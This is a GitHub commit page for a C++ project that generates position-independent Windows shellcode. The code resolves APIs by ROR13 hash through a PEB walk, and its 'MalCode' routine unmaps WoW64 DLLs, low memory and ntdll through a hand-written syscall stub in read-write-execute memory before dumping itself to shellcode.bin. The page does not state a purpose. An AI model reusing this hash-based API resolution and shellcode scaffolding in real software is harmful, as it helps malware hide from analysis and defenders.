Skip to content

Commit 7c9bc90

Browse files
committed
initial commit
1 parent e26689f commit 7c9bc90

14 files changed

+1783
-26
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
*.userprefs
1515

1616
# Build results
17+
32APP_W_64SC/
1718
[Dd]ebug/
1819
[Dd]ebugPublic/
1920
[Rr]elease/

ShellcodeStdio/ScStdio.cpp

Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
#include "ScStdio.h"
2+
3+
#include <intrin.h>
4+
5+
#define ROR_SHIFT 13
6+
7+
namespace ScStdio {
8+
9+
/*
10+
VS Compilation Switches:
11+
C/C++ -> Optimization -> /O1, /Ob2, /Oi, /Os, /Oy-, /GL
12+
C/C++ -> Code Generation -> /MT, /GS-, /Gy
13+
Linker -> General -> /INCREMENTAL:NO
14+
*/
15+
16+
NTSYSAPI NTSTATUS NtUnmapViewOfSection(
17+
DWORD64 ProcessHandle,
18+
DWORD64 BaseAddress
19+
);
20+
21+
NTSYSAPI NTSTATUS NtProtectVirtualMemory(
22+
HANDLE ProcessHandle,
23+
PVOID* BaseAddress,
24+
PULONG NumberOfBytesToProtect,
25+
ULONG NewAccessProtection,
26+
PULONG OldAccessProtection
27+
);
28+
29+
NTSYSAPI NTSTATUS NtAllocateVirtualMemory(
30+
DWORD64 ProcessHandle,
31+
DWORD64 BaseAddress,
32+
DWORD64 ZeroBits,
33+
DWORD64 RegionSize,
34+
DWORD64 AllocationType,
35+
DWORD64 Protect
36+
);
37+
38+
typedef NTSTATUS(NTAPI* p_SysUnmapViewOfSection) (
39+
DWORD64 ProcessHandle,
40+
DWORD64 BaseAddress
41+
);
42+
43+
#ifndef _WIN64
44+
__declspec(naked) void MalCodeBegin() { __asm { jmp MalCode } };
45+
#else
46+
void MalCodeBegin() { MalCode(); }
47+
#endif
48+
49+
PPEB getPEB() {
50+
PPEB p;
51+
#ifndef _WIN64
52+
p = (PPEB)__readfsdword(0x30);
53+
#else
54+
p = (PPEB)__readgsqword(0x60);
55+
#endif
56+
return p;
57+
}
58+
59+
constexpr DWORD ct_ror(DWORD n) {
60+
return (n >> ROR_SHIFT) | (n << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT));
61+
}
62+
63+
constexpr char ct_upper(const char c) {
64+
return (c >= 'a') ? (c - ('a' - 'A')) : c;
65+
}
66+
67+
constexpr DWORD ct_hash(const char* str, DWORD sum = 0) {
68+
return *str ? ct_hash(str + 1, ct_ror(sum) + ct_upper(*str)) : sum;
69+
}
70+
71+
DWORD rt_hash(const char* str) {
72+
DWORD h = 0;
73+
while (*str) {
74+
h = (h >> ROR_SHIFT) | (h << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT));
75+
h += *str >= 'a' ? *str - ('a' - 'A') : *str;
76+
str++;
77+
}
78+
return h;
79+
}
80+
81+
LDR_DATA_TABLE_ENTRY* getDataTableEntry(const LIST_ENTRY* ptr) {
82+
int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
83+
return (LDR_DATA_TABLE_ENTRY*)((BYTE*)ptr - list_entry_offset);
84+
}
85+
86+
PVOID getProcAddrByHash(DWORD hash) {
87+
PEB* peb = getPEB();
88+
LIST_ENTRY* first = peb->Ldr->InMemoryOrderModuleList.Flink;
89+
LIST_ENTRY* ptr = first;
90+
do {
91+
LDR_DATA_TABLE_ENTRY* dte = getDataTableEntry(ptr);
92+
ptr = ptr->Flink;
93+
94+
BYTE* baseAddress = (BYTE*)dte->DllBase;
95+
if (!baseAddress)
96+
continue;
97+
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddress;
98+
IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddress + dosHeader->e_lfanew);
99+
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
100+
if (!iedRVA)
101+
continue;
102+
IMAGE_EXPORT_DIRECTORY* ied = (IMAGE_EXPORT_DIRECTORY*)(baseAddress + iedRVA);
103+
char* moduleName = (char*)(baseAddress + ied->Name);
104+
DWORD moduleHash = rt_hash(moduleName);
105+
DWORD* nameRVAs = (DWORD*)(baseAddress + ied->AddressOfNames);
106+
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
107+
char* functionName = (char*)(baseAddress + nameRVAs[i]);
108+
if (hash == moduleHash + rt_hash(functionName)) {
109+
WORD ordinal = ((WORD*)(baseAddress + ied->AddressOfNameOrdinals))[i];
110+
DWORD functionRVA = ((DWORD*)(baseAddress + ied->AddressOfFunctions))[ordinal];
111+
return baseAddress + functionRVA;
112+
}
113+
}
114+
} while (ptr != first);
115+
116+
return NULL;
117+
}
118+
119+
#define DEFINE_FUNC_PTR(module, function) \
120+
constexpr DWORD hash_##function = ct_hash(module) + ct_hash(#function); \
121+
typedef decltype(function) type_##function; \
122+
type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)
123+
124+
#define DEFINE_FWD_FUNC_PTR(module, real_func, function) \
125+
constexpr DWORD hash_##function = ct_hash(module) + ct_hash(real_func); \
126+
typedef decltype(function) type_##function; \
127+
type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)
128+
129+
VOID __stdcall MalCode() {
130+
131+
// We could use only syscalls, but for clarity let's not
132+
DEFINE_FUNC_PTR("ntdll.dll", NtAllocateVirtualMemory);
133+
DEFINE_FUNC_PTR("ntdll.dll", NtUnmapViewOfSection);
134+
DEFINE_FUNC_PTR("ntdll.dll", NtProtectVirtualMemory);
135+
136+
// First obtain WoW64 addresses, needed for unmapping later
137+
DWORD64 addrWoW64 = 0;
138+
DWORD64 addrWoW64Win = 0;
139+
DWORD64 addrNtdll = 0;
140+
141+
PPEB peb64 = getPEB();
142+
LIST_ENTRY* first = peb64->Ldr->InMemoryOrderModuleList.Flink;
143+
LIST_ENTRY* ptr = first;
144+
int cntr = 0;
145+
146+
do {
147+
148+
LDR_DATA_TABLE_ENTRY* dte = getDataTableEntry(ptr);
149+
ptr = ptr->Flink;
150+
151+
if (cntr == 1) {
152+
addrNtdll = (DWORD64)dte->DllBase;
153+
}
154+
else if (cntr == 2) {
155+
addrWoW64 = (DWORD64)dte->DllBase;
156+
}
157+
else if (cntr == 3) {
158+
addrWoW64Win = (DWORD64)dte->DllBase;
159+
}
160+
161+
cntr++;
162+
} while (ptr != first);
163+
164+
// Unmap everything below 4GB boundary
165+
for (DWORD m = 0; m < 0x80000000; m += 0x1000)
166+
{
167+
PVOID ptrToProtect = (PVOID)m;
168+
ULONG dwBytesToProtect = 1;
169+
ULONG dwOldProt = 0;
170+
171+
NtProtectVirtualMemory((HANDLE)-1, &ptrToProtect, &dwBytesToProtect, PAGE_READWRITE, &dwOldProt);
172+
NtUnmapViewOfSection((DWORD64)-1, (DWORD64)m);
173+
}
174+
175+
// Unmap WoW64 Dlls
176+
NtUnmapViewOfSection(-1, addrWoW64);
177+
NtUnmapViewOfSection(-1, addrWoW64Win);
178+
179+
// Allocate and write syscall stub
180+
DWORD64 syscallbase = 0x20000000000;
181+
SIZE_T size = 0x1000;
182+
DWORD64 ntstatus = NtAllocateVirtualMemory((DWORD64)-1, (DWORD64)&syscallbase, 0, (DWORD64)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
183+
184+
DWORD dwCode1 = 0xb8d18b4c;
185+
DWORD dwCode2 = 0x0000002a; // NtUnmapViewOfSection
186+
DWORD dwCode3 = 0x90c3050f;
187+
188+
*(DWORD*)syscallbase = dwCode1;
189+
*((DWORD*)syscallbase + 1) = dwCode2;
190+
*((DWORD*)syscallbase + 2) = dwCode3;
191+
192+
// Unmap Ntdll
193+
p_SysUnmapViewOfSection sysUnmap = (p_SysUnmapViewOfSection)syscallbase;
194+
sysUnmap((DWORD64)-1, addrNtdll);
195+
196+
__debugbreak();
197+
}
198+
199+
#ifndef _WIN64
200+
__declspec(naked) void MalCodeEnd() { };
201+
#else
202+
void MalCodeEnd() {};
203+
#endif
204+
205+
BOOL WriteShellcodeToDisk()
206+
{
207+
DWORD dwWritten;
208+
HANDLE FileHandle = CreateFileW(L"shellcode.bin", GENERIC_ALL, NULL, NULL, CREATE_ALWAYS, NULL, NULL);
209+
210+
if (!FileHandle)
211+
return false;
212+
213+
if (WriteFile(FileHandle, &MalCodeBegin, ((DWORD)&MalCodeEnd - (DWORD)&MalCodeBegin), &dwWritten, NULL))
214+
{
215+
CloseHandle(FileHandle);
216+
return true;
217+
}
218+
219+
CloseHandle(FileHandle);
220+
return false;
221+
}
222+
}

ShellcodeStdio/ScStdio.h

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
#pragma once
2+
3+
#include <Windows.h>
4+
#include <winnt.h>
5+
#include <winternl.h>
6+
7+
namespace ScStdio {
8+
VOID __stdcall MalCode();
9+
BOOL WriteShellcodeToDisk();
10+
}

0 commit comments

Comments
 (0)